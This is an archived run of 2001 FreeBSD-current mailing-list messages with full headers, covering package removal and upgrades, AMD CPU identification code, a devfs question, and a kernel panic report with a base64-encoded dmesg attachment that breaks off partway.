(adsl-64-168-10-20.dsl.scrm01.pacbell.net [64.168.10.20]) by hub.freebsd.org (Postfix) with ESMTP id BF75037B403; Sun, 28 Oct 2001 21:16:08 -0800 (PST) Received: from tml (13.636281.com [64.168.10.19]) by 636281.com (Postfix) with ESMTP id A06532439B; Sun, 28 Oct 2001 21:08:36 -0800 (PST) From: "Dominic" To: "'Kelvin Ng Chee Hoong'" Cc: , Subject: RE: Un-install and upgrade application software Date: Sun, 28 Oct 2001 21:15:08 -0800 Message-ID: <000001c16038$ad87fc90$130aa840@tml> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-7" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <5.1.0.14.0.20011029123514.00a459d0@po.pacific.net.sg> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Type +ACI-pkg+AF8-info+ACI- will show u all those installed pkg Type +ACI-pkg+AF8-delete +ADw-pkg name+AD4AIg- will remove the pkg=20 =20 -----Original Message----- From: owner-freebsd-questions+AEA-FreeBSD.ORG = +AFs-mailto:owner-freebsd-questions+AEA-FreeBSD.ORG+AF0- On Behalf Of = Kelvin Ng Chee Hoong Sent: Sunday, October 28, 2001 8:39 PM To: freebsd-questions+AEA-FreeBSD.ORG Subject: Un-install and upgrade application software Hi +ADs- I have installed application software from port collection . How do = I=20 make un-install . If I want to upgrade the existing application software = ,=20 how do I upgrade them ? Please advise ....... To Unsubscribe: send mail to majordomo+AEA-FreeBSD.org with +ACI-unsubscribe freebsd-questions+ACI- in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 21:18:26 2001 Delivered-To: freebsd-current@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 0ADEE37B403 for ; Sun, 28 Oct 2001 21:18:13 -0800 (PST) Received: from cain.gsoft.com.au (root@localhost [127.0.0.1]) by cain.gsoft.com.au (8.11.6/8.9.3) with ESMTP id f9T5FYj52597; Mon, 29 Oct 2001 15:45:34 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.5.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <5.1.0.14.0.20011029121936.00a428e0@po.pacific.net.sg> Date: Mon, 29 Oct 2001 15:48:04 +1030 (CST) From: "Daniel O'Connor" To: Kelvin Ng Chee Hoong Subject: RE: Un-install & upgrade application software Cc: freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 29-Oct-2001 Kelvin Ng Chee Hoong wrote: > I have installed application software from port collection . How do I > make un-install ? If I want to upgrade the existing application , how do I > upgrade them ? Please advise .... You can do 'pkg_delete xyz-1.2' (look in /var/db/pkg) Also look at the sysutils/portupgrade port. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 28 23:33:58 2001 Delivered-To: freebsd-current@freebsd.org Received: from raven.mail.pas.earthlink.net (raven.mail.pas.earthlink.net [207.217.120.39]) by hub.freebsd.org (Postfix) with ESMTP id C0FD537B401; Sun, 28 Oct 2001 23:33:51 -0800 (PST) Received: from 1cust225.tnt1.pasadena.ca.da.uu.net ([63.28.226.225] helo=fire) by raven.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 15y6vZ-0001OO-00; Sun, 28 Oct 2001 23:33:45 -0800 Message-ID: <005a01c160a7$9a29a530$6503c23f@XGforce.com> Reply-To: "matt" From: "matt" To: , "cameron grant" Cc: , , , , , References: <006101c15fb9$ac5d03d0$0504020a@haveblue> <20011028164215.C32015@dragon.nuxi.com> Subject: Re: adding athlon xp to bsd.cpu.mk Date: Mon, 29 Oct 2001 10:29:00 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG any one know if my 4.3 stable work with all AMD processors, as well as with SMP enabled? ====================================== WWW.XGFORCE.COM The Next Generation Load Balance and Fail Safe Server Clustering Software for the Internet. ====================================== ----- Original Message ----- From: "David O'Brien" To: "cameron grant" Cc: ; ; ; ; ; Sent: Sunday, October 28, 2001 4:42 PM Subject: Re: adding athlon xp to bsd.cpu.mk > On Sun, Oct 28, 2001 at 02:06:00PM -0000, cameron grant wrote: > > my system with dual 1.1ghz durons identifies as: > > > > CPU: AMD Duron(tm) MP Processor (1110.94-MHz 686-class CPU) > > Origin = "AuthenticAMD" Id = 0x670 Stepping = 0 > > > > Features=0x383fbff > CMOV,PAT,PSE36,MMX,FXSR,SSE> > > AMD Features=0xc0440000<,AMIE,DSP,3DNow!> > > > > the entire "AMD Duron(tm) MP Processor" string appears to originate > > Wonder why you get the 'MP' and I don't: > > CPU: AMD Athlon(tm) Processor (1194.46-MHz 686-class CPU) > Origin = "AuthenticAMD" Id = 0x661 Stepping = 1 > Features=0x383fbff > AMD Features=0xc0440000<,AMIE,DSP,3DNow!> > > This is from my AMD pre-release Tyan Thunder Athon MP system that I > certified FreeBSD SMP support on. > > -- > -- David (obrien@FreeBSD.org) > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 0: 2:32 2001 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 8D03337B401; Mon, 29 Oct 2001 00:02:29 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.6/8.11.1) id f9T82QV91732; Mon, 29 Oct 2001 00:02:26 -0800 (PST) (envelope-from obrien) Date: Mon, 29 Oct 2001 00:02:26 -0800 From: "David O'Brien" To: matt Cc: freebsd-stable@FreeBSD.org, freebsd-current@FreeBSD.org Subject: Re: adding athlon xp to bsd.cpu.mk Message-ID: <20011029000226.A91711@dragon.nuxi.com> Reply-To: obrien@FreeBSD.org References: <006101c15fb9$ac5d03d0$0504020a@haveblue> <20011028164215.C32015@dragon.nuxi.com> <005a01c160a7$9a29a530$6503c23f@XGforce.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <005a01c160a7$9a29a530$6503c23f@XGforce.com>; from matt-l@pacbell.net on Mon, Oct 29, 2001 at 10:29:00AM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Oct 29, 2001 at 10:29:00AM -0800, matt wrote: > any one know if my 4.3 stable work with all AMD > processors, as well as with SMP enabled? Yes it will. I certifed 4.3 RELEASE (and thus 4.3-STABLE) on the SMP Thunder for AMD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 3:54: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.FreeBSD.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 0CE7C37B405 for ; Mon, 29 Oct 2001 03:54:06 -0800 (PST) Received: (from uucp@localhost) by storm.FreeBSD.org.uk (8.11.6/8.11.6) with UUCP id f9TBrqT12155; Mon, 29 Oct 2001 11:53:52 GMT (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.org (8.11.6/8.11.6) with ESMTP id f9TBZhY85194; Mon, 29 Oct 2001 11:35:43 GMT (envelope-from mark@grondar.za) Message-Id: <200110291135.f9TBZhY85194@grimreaper.grondar.org> To: Kelvin Ng Chee Hoong Cc: freebsd-current@FreeBSD.ORG Subject: Re: Un-install & upgrade application software References: <5.1.0.14.0.20011029121936.00a428e0@po.pacific.net.sg> In-Reply-To: <5.1.0.14.0.20011029121936.00a428e0@po.pacific.net.sg> ; from Kelvin Ng Chee Hoong "Mon, 29 Oct 2001 12:23:21 +0800." Date: Mon, 29 Oct 2001 11:35:43 +0000 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I have installed application software from port collection . How do I > make un-install ? If I want to upgrade the existing application , how do I > upgrade them ? Please advise .... Please ask this question on questions@freebsd.org M -- o Mark Murray \_ FreeBSD Services Limited O.\_ Warning: this .sig is umop ap!sdn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 5:19:57 2001 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 9E29937B401 for ; Mon, 29 Oct 2001 05:19:55 -0800 (PST) Received: by flood.ping.uio.no (Postfix, from userid 2602) id D77EF14C2E; Mon, 29 Oct 2001 14:19:52 +0100 (CET) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: Poul-Henning Kamp Cc: Mike Silbersack , current@FreeBSD.ORG Subject: Re: devfs question References: <10460.1004168165@critter.freebsd.dk> From: Dag-Erling Smorgrav Date: 29 Oct 2001 14:19:52 +0100 In-Reply-To: <10460.1004168165@critter.freebsd.dk> Message-ID: Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Poul-Henning Kamp writes: > In message <20011026222548.L88389-100000@achilles.silby.com>, Mike Silbersack writes: > > Oops, error on my part; /proc does need to exist. So, I guess the > > question is this: Can devfs's error handling in the case of /dev being > > non-existant be improved? > Barely, because without /dev, how do you plan to open the console ? > > Mkdir(/dev) isn't an option because the rootfs is mounted R/O. You could modify devfs so it can be union-mounted on top of /; or you could hack namei to return a fake vnode for /dev so it's always present. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 5:24:39 2001 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 3644E37B406 for ; Mon, 29 Oct 2001 05:24:37 -0800 (PST) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.6/8.11.6) with ESMTP id f9TDNd914530; Mon, 29 Oct 2001 14:23:47 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Dag-Erling Smorgrav Cc: Mike Silbersack , current@FreeBSD.ORG Subject: Re: devfs question In-Reply-To: Your message of "29 Oct 2001 14:19:52 +0100." Date: Mon, 29 Oct 2001 14:23:39 +0100 Message-ID: <14528.1004361819@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message , Dag-Erling Smorgrav writes: >Poul-Henning Kamp writes: >> In message <20011026222548.L88389-100000@achilles.silby.com>, Mike Silbersack writes: >> > Oops, error on my part; /proc does need to exist. So, I guess the >> > question is this: Can devfs's error handling in the case of /dev being >> > non-existant be improved? >> Barely, because without /dev, how do you plan to open the console ? >> >> Mkdir(/dev) isn't an option because the rootfs is mounted R/O. > >You could modify devfs so it can be union-mounted on top of /; or you >could hack namei to return a fake vnode for /dev so it's always >present. Right, but then again, I could also stay sane :-) -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 6:12: 2 2001 Delivered-To: freebsd-current@freebsd.org Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by hub.freebsd.org (Postfix) with ESMTP id 5D95B37B403; Mon, 29 Oct 2001 06:11:56 -0800 (PST) Received: from vilnya.demon.co.uk ([158.152.19.238]) by finch-post-12.mail.demon.net with esmtp (Exim 2.12 #1) id 15yD8i-000ON3-0C; Mon, 29 Oct 2001 14:11:45 +0000 Received: from haveblue (haveblue.rings [10.2.4.5]) by vilnya.demon.co.uk (Postfix) with SMTP id F00C52E824; Mon, 29 Oct 2001 14:09:08 +0000 (GMT) Message-ID: <002101c16083$6ff87260$0504020a@haveblue> From: "cameron grant" To: "John Baldwin" Cc: , , , , , References: Subject: Re: adding athlon xp to bsd.cpu.mk Date: Mon, 29 Oct 2001 14:09:54 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > from what i can see, identcpu.c fetches the cpu name using a cpuid > > instruction. > > The part cpuid gives you is "AuthenticAMD". > The fancy name is determined by switching on the Id. read identcpu.c. you are correct for k6 and lesser processors. the code in question is around line 323: do_cpuid(0x80000000, regs); nreg = regs[0]; if (nreg >= 0x80000004) { do_cpuid(0x80000002, regs); memcpy(cpu_model, regs, sizeof regs); do_cpuid(0x80000003, regs); memcpy(cpu_model+16, regs, sizeof regs); do_cpuid(0x80000004, regs); memcpy(cpu_model+32, regs, sizeof regs); } -cg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 6:47:26 2001 Delivered-To: freebsd-current@freebsd.org Received: from fizzbang.musinghalfwit.org (cs6669197-172.austin.rr.com [66.69.197.172]) by hub.freebsd.org (Postfix) with ESMTP id 30BAC37B401 for ; Mon, 29 Oct 2001 06:47:22 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) (uid 1001) by fizzbang.musinghalfwit.org with local; Mon, 29 Oct 2001 08:19:16 -0600 From: "Eric P Liedtke" To: freebsd-current@freebsd.org Subject: GENERIC Kernel Panic Date: Mon, 29 Oct 2001 14:19:16 GMT Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-ID: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I own and MSI 694D Pro MoBo. It's a VIA 694x chip based dual P-III board. I recently installed a version of 5.0 from March, and it was running fine. I cvsup'd and rebuilt everything Friday night. When I tried to boot the new kernel it was panicing on a call to destroy_dev() on device 154/0 which I believe is an asr device (Adaptec Scsi controller of some sort). Here is what it looked like Pentium Pro MTRR support enabled Warning: devsm() called on 154/0 Warning: Driver mistake: destroy_dev on 154/0 panic don't do that debugger ("panic") Stopped at Debugger + 0x44: pushl %ebx db> So I found the code in kern_conf.c that makes the call to panic and just commented out the panic and rebuilt the kernel. I did this based on the cvs log entry about 2 file revs back and also the fact that I noticed the orginial kernel I installed from March had the same warnings but no panic and seemed to run ok. This seemed to work. I still got the warnings but no panic. So I built a custom kernel without scsi, since there isn't any in this machine. And now it runs like a champ. a dmesg from the currently good CUSTOM kernel is attatched. I am guessing it was erroneously trying to build an asr device then realizing there wasn't one and destroying it. Is this correct? If you need any more info on this from the debugger let me know I still have a copy of a GENERIC kernel with this problem. -Eric Liedtke To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 6:49: 3 2001 Delivered-To: freebsd-current@freebsd.org Received: from fizzbang.musinghalfwit.org (cs6669197-172.austin.rr.com [66.69.197.172]) by hub.freebsd.org (Postfix) with ESMTP id 58FE637B40B for ; Mon, 29 Oct 2001 06:48:31 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) (uid 1001) by fizzbang.musinghalfwit.org with local; Mon, 29 Oct 2001 08:20:25 -0600 From: "Eric P Liedtke" To: freebsd-Current@freebsd.org Subject: So here is the dmesg Date: Mon, 29 Oct 2001 14:19:58 GMT Mime-Version: 1.0 Content-Type: multipart/mixed; charset=iso-8859-1; boundary="=_48180-1004365225-1-2" Content-Transfer-Encoding: 7bit Message-ID: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a MIME-formatted message. If you see this text it means that your E-mail software does not support MIME-formatted messages. --=_48180-1004365225-1-2 Content-Type: text/plain; charset=iso-8859-1 Sorry here is the attatchment. --=_48180-1004365225-1-2 Content-Type: text/plain; charset=iso-8859-1; name="dmesg.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="dmesg.txt" Q29weXJpZ2h0IChjKSAxOTkyLTIwMDEgVGhlIEZyZWVCU0QgUHJvamVjdC4NCkNvcHlyaWdodCAo YykgMTk3OSwgMTk4MCwgMTk4MywgMTk4NiwgMTk4OCwgMTk4OSwgMTk5MSwgMTk5MiwgMTk5Mywg MTk5NA0KCVRoZSBSZWdlbnRzIG9mIHRoZSBVbml2ZXJzaXR5IG9mIENhbGlmb3JuaWEuIEFsbCBy aWdodHMgcmVzZXJ2ZWQuDQpGcmVlQlNEIDUuMC1DVVJSRU5UICMwOiBNb24gT2N0IDI5IDAzOjI0 OjUyIENTVCAyMDAxDQogICAgcm9vdEBjdXJyZW50Lm11c2luZ2hhbGZ3aXQub3JnOi91c3Ivc3Jj L3N5cy9pMzg2L2NvbXBpbGUvQ1VTVE9NDQpUaW1lY291bnRlciAiaTgyNTQiICBmcmVxdWVuY3kg MTE5MzE4MiBIeg0KQ1BVOiBQZW50aXVtIElJSS9QZW50aXVtIElJSSBYZW9uL0NlbGVyb24gKDgw MS44My1NSHogNjg2LWNsYXNzIENQVSkNCiAgT3JpZ2luID0gIkdlbnVpbmVJbnRlbCIgIElkID0g MHg2ODYgIFN0ZXBwaW5nID0gNg0KICBGZWF0dXJlcz0weDM4N2ZiZmY8RlBVLFZNRSxERSxQU0Us VFNDLE1TUixQQUUsTUNFLENYOCxBUElDLFNFUCxNVFJSLFBHRSxNQ0EsQ01PVixQQVQsUFNFMzYs UE4sTU1YLEZYU1IsU1NFPg0KcmVhbCBtZW1vcnkgID0gMjY4MzY5OTIwICgyNjIwODBLIGJ5dGVz KQ0KYXZhaWwgbWVtb3J5ID0gMjU2OTk1MzI4ICgyNTA5NzJLIGJ5dGVzKQ0KUHJvZ3JhbW1pbmcg MjQgcGlucyBpbiBJT0FQSUMgIzANCklPQVBJQyAjMCBpbnRwaW4gMiAtPiBpcnEgMA0KRnJlZUJT RC9TTVA6IE11bHRpcHJvY2Vzc29yIFN5c3RlbSBEZXRlY3RlZDogMiBDUFVzDQogY3B1MCAoQlNQ KTogYXBpYyBpZDogIDAsIHZlcnNpb246IDB4MDAwNDAwMTEsIGF0IDB4ZmVlMDAwMDANCiBjcHUx IChBUCk6ICBhcGljIGlkOiAgMSwgdmVyc2lvbjogMHgwMDA0MDAxMSwgYXQgMHhmZWUwMDAwMA0K IGlvMCAoQVBJQyk6IGFwaWMgaWQ6ICAyLCB2ZXJzaW9uOiAweDAwMTcwMDExLCBhdCAweGZlYzAw MDAwDQpQcmVsb2FkZWQgZWxmIGtlcm5lbCAiL2Jvb3Qva2VybmVsL2tlcm5lbCIgYXQgMHhjMDNm NTAwMC4NClByZWxvYWRlZCBlbGYgbW9kdWxlICIvYm9vdC9rZXJuZWwvYWNwaS5rbyIgYXQgMHhj MDNmNTBhOC4NClBlbnRpdW0gUHJvIE1UUlIgc3VwcG9ydCBlbmFibGVkDQpVc2luZyAkUElSIHRh YmxlLCA5IGVudHJpZXMgYXQgMHhjMDBmZGMzMA0KbnB4MDogPG1hdGggcHJvY2Vzc29yPiBvbiBt b3RoZXJib2FyZA0KbnB4MDogSU5UIDE2IGludGVyZmFjZQ0KYWNwaTA6IDxWSUE2OTQgQVdSREFD UEk+IG9uIG1vdGhlcmJvYXJkDQphY3BpMDogcG93ZXIgYnV0dG9uIGlzIGhhbmRsZWQgYXMgYSBm aXhlZCBmZWF0dXJlIHByb2dyYW1taW5nIG1vZGVsLg0KVGltZWNvdW50ZXIgIkFDUEkiICBmcmVx dWVuY3kgMzU3OTU0NSBIeg0KYWNwaV90aW1lcjA6IDwyNC1iaXQgdGltZXIgYXQgMy41Nzk1NDVN SHo+IHBvcnQgMHg0MDA4LTB4NDAwYiBvbiBhY3BpMA0KYWNwaV9jcHUwOiA8Q1BVPiBvbiBhY3Bp MA0KYWNwaV9jcHUxOiA8Q1BVPiBvbiBhY3BpMA0KYWNwaV9idXR0b24wOiA8UG93ZXIgQnV0dG9u PiBvbiBhY3BpMA0KYWNwaV9idXR0b24xOiA8U2xlZXAgQnV0dG9uPiBvbiBhY3BpMA0KYWNwaV9w Y2liMDogPEhvc3QtUENJIGJyaWRnZT4gcG9ydCAweDYwMDAtMHg2MDdmLDB4NTAwMC0weDUwMGYs MHg0MDgwLTB4NDBmZiwweDQwMDAtMHg0MDdmLDB4Y2Y4LTB4Y2ZmIG9uIGFjcGkwDQpJT0FQSUMg IzAgaW50cGluIDE5IC0+IGlycSAyDQpJT0FQSUMgIzAgaW50cGluIDE4IC0+IGlycSAxMA0KSU9B UElDICMwIGludHBpbiAxNiAtPiBpcnEgMTENCnBjaTA6IDxQQ0kgYnVzPiBvbiBhY3BpX3BjaWIw DQpwY2liMTogPFBDSS1QQ0kgYnJpZGdlPiBhdCBkZXZpY2UgMS4wIG9uIHBjaTANCnBjaTE6IDxQ Q0kgYnVzPiBvbiBwY2liMQ0KcGNpMTogPGRpc3BsYXksIFZHQT4gYXQgZGV2aWNlIDAuMCAobm8g ZHJpdmVyIGF0dGFjaGVkKQ0KaXNhYjA6IDxQQ0ktSVNBIGJyaWRnZT4gYXQgZGV2aWNlIDcuMCBv biBwY2kwDQppc2EwOiA8SVNBIGJ1cz4gb24gaXNhYjANCmF0YXBjaTA6IDxWSUEgODJDNjg2IEFU QTY2IGNvbnRyb2xsZXI+IHBvcnQgMHhkMDAwLTB4ZDAwZiBhdCBkZXZpY2UgNy4xIG9uIHBjaTAN CmF0YTA6IGF0IDB4MWYwIGlycSAxNCBvbiBhdGFwY2kwDQphdGExOiBhdCAweDE3MCBpcnEgMTUg b24gYXRhcGNpMA0KdWhjaTA6IDxWSUEgODNDNTcyIFVTQiBjb250cm9sbGVyPiBwb3J0IDB4ZDQw MC0weGQ0MWYgaXJxIDIgYXQgZGV2aWNlIDcuMiBvbiBwY2kwDQp1c2IwOiA8VklBIDgzQzU3MiBV U0IgY29udHJvbGxlcj4gb24gdWhjaTANCnVzYjA6IFVTQiByZXZpc2lvbiAxLjANCnVodWIwOiBW SUEgVUhDSSByb290IGh1YiwgY2xhc3MgOS8wLCByZXYgMS4wMC8xLjAwLCBhZGRyIDENCnVodWIw OiAyIHBvcnRzIHdpdGggMiByZW1vdmFibGUsIHNlbGYgcG93ZXJlZA0KdWhjaTE6IDxWSUEgODND NTcyIFVTQiBjb250cm9sbGVyPiBwb3J0IDB4ZDgwMC0weGQ4MWYgaXJxIDIgYXQgZGV2aWNlIDcu MyBvbiBwY2kwDQp1c2IxOiA8VklBIDgzQzU3MiBVU0IgY29udHJvbGxlcj4gb24gdWhjaTENCnVz YjE6IFVTQiByZXZpc2lvbiAxLjANCnVodWIxOiBWSUEgVUhDSSByb290IGh1YiwgY2xhc3MgOS8w LCByZXYgMS4wMC8xLjAwLCBhZGRyIDENCnVodWIxOiAyIHBvcnRzIHdpdGggMiByZW1vdmFibGUs IHNlbGYgcG93ZXJlZA0KcGNpMDogPG11bHRpbWVkaWEsIGF1ZGlvPiBhdCBkZXZpY2UgNy41IChu byBkcml2ZXIgYXR0YWNoZWQpDQpmeHAwOiA8SW50ZWwgUHJvIDEwLzEwMEIvMTAwKyBFdGhlcm5l dD4gcG9ydCAweGVjMDAtMHhlYzNmIG1lbSAweGQ3MDAwMDAwLTB4ZDcwZmZmZmYsMHhkNzEwMDAw MC0weGQ3MTAwZmZmIGlycSAxMSBhdCBkZXZpY2UgMTQuMCBvbiBwY2kwDQpmeHAwOiBFdGhlcm5l dCBhZGRyZXNzIDAwOmQwOmI3OjdmOjM1OjkwDQppbnBoeTA6IDxpODI1NTUgMTAvMTAwIG1lZGlh IGludGVyZmFjZT4gb24gbWlpYnVzMA0KaW5waHkwOiAgMTBiYXNlVCwgMTBiYXNlVC1GRFgsIDEw MGJhc2VUWCwgMTAwYmFzZVRYLUZEWCwgYXV0bw0KZmRjMDogPE5FQyA3MjA2NUIgb3IgY2xvbmU+ IHBvcnQgMHgzZjcsMHgzZjAtMHgzZjUgaXJxIDYgb24gYWNwaTANCmZkYzA6IEZJRk8gZW5hYmxl ZCwgOCBieXRlcyB0aHJlc2hvbGQNCmZkMDogPDE0NDAtS0IgMy41IiBkcml2ZT4gb24gZmRjMCBk cml2ZSAwDQpzaW8wIHBvcnQgMHgzZjgtMHgzZmYgaXJxIDQgb24gYWNwaTANCnNpbzA6IHR5cGUg MTY1NTBBDQpzaW8xIHBvcnQgMHgyZjgtMHgyZmYgaXJxIDMgb24gYWNwaTANCnNpbzE6IHR5cGUg MTY1NTBBDQpwcGMwIHBvcnQgMHgzNzgtMHgzN2YgaXJxIDcgb24gYWNwaTANCnBwYzA6IEdlbmVy aWMgY2hpcHNldCAoRVBQL05JQkJMRSkgaW4gQ09NUEFUSUJMRSBtb2RlDQpwbGlwMDogPFBMSVAg bmV0d29yayBpbnRlcmZhY2U+IG9uIHBwYnVzMA0KbHB0MDogPFByaW50ZXI+IG9uIHBwYnVzMA0K bHB0MDogSW50ZXJydXB0LWRyaXZlbiBwb3J0DQpwcGkwOiA8UGFyYWxsZWwgSS9PPiBvbiBwcGJ1 czANCmF0a2JkYzA6IDxLZXlib2FyZCBjb250cm9sbGVyIChpODA0Mik+IHBvcnQgMHg2NCwweDYw IGlycSAxIG9uIGFjcGkwDQphdGtiZDA6IDxBVCBLZXlib2FyZD4gZmxhZ3MgMHgxIGlycSAxIG9u IGF0a2JkYzANCmtiZDAgYXQgYXRrYmQwDQpvcm0wOiA8T3B0aW9uIFJPTXM+IGF0IGlvbWVtIDB4 YzAwMDAtMHhjYmZmZiwweGNjMDAwLTB4Y2NmZmYgb24gaXNhMA0KZmRjMTogY2Fubm90IHJlc2Vy dmUgSS9PIHBvcnQgcmFuZ2UgKDYgcG9ydHMpDQpwbXRpbWVyMCBvbiBpc2EwDQpwcGMxOiBjYW5u b3QgcmVzZXJ2ZSBJL08gcG9ydCByYW5nZQ0Kc2MwOiA8U3lzdGVtIGNvbnNvbGU+IGF0IGZsYWdz IDB4MTAwIG9uIGlzYTANCnNjMDogVkdBIDwxNiB2aXJ0dWFsIGNvbnNvbGVzLCBmbGFncz0weDMw MD4NCnZnYTA6IDxHZW5lcmljIElTQSBWR0E+IGF0IHBvcnQgMHgzYzAtMHgzZGYgaW9tZW0gMHhh MDAwMC0weGJmZmZmIG9uIGlzYTANCkFQSUNfSU86IFRlc3RpbmcgODI1NCBpbnRlcnJ1cHQgZGVs aXZlcnkNCkFQSUNfSU86IHJvdXRpbmcgODI1NCB2aWEgSU9BUElDICMwIGludHBpbiAyDQphY3Bp X2NwdTogQ1BVIHRocm90dGxpbmcgZW5hYmxlZCwgMiBzdGVwcyBmcm9tIDEwMCUgdG8gNTAuMCUN CmFkMDogMzA5M01CIDxGVUpJVFNVIE1QQzMwMzJBVD4gWzY3MDQvMTUvNjNdIGF0IGF0YTAtbWFz dGVyIFVETUEzMw0KYWQxOiA0MTIwTUIgPE1heHRvciA4NDMyMEQ0PiBbODkzMC8xNS82M10gYXQg YXRhMC1zbGF2ZSBVRE1BMzMNCmFjZDA6IENEUk9NIDxUT1NISUJBIENELVJPTSBYTS02NzAyQj4g 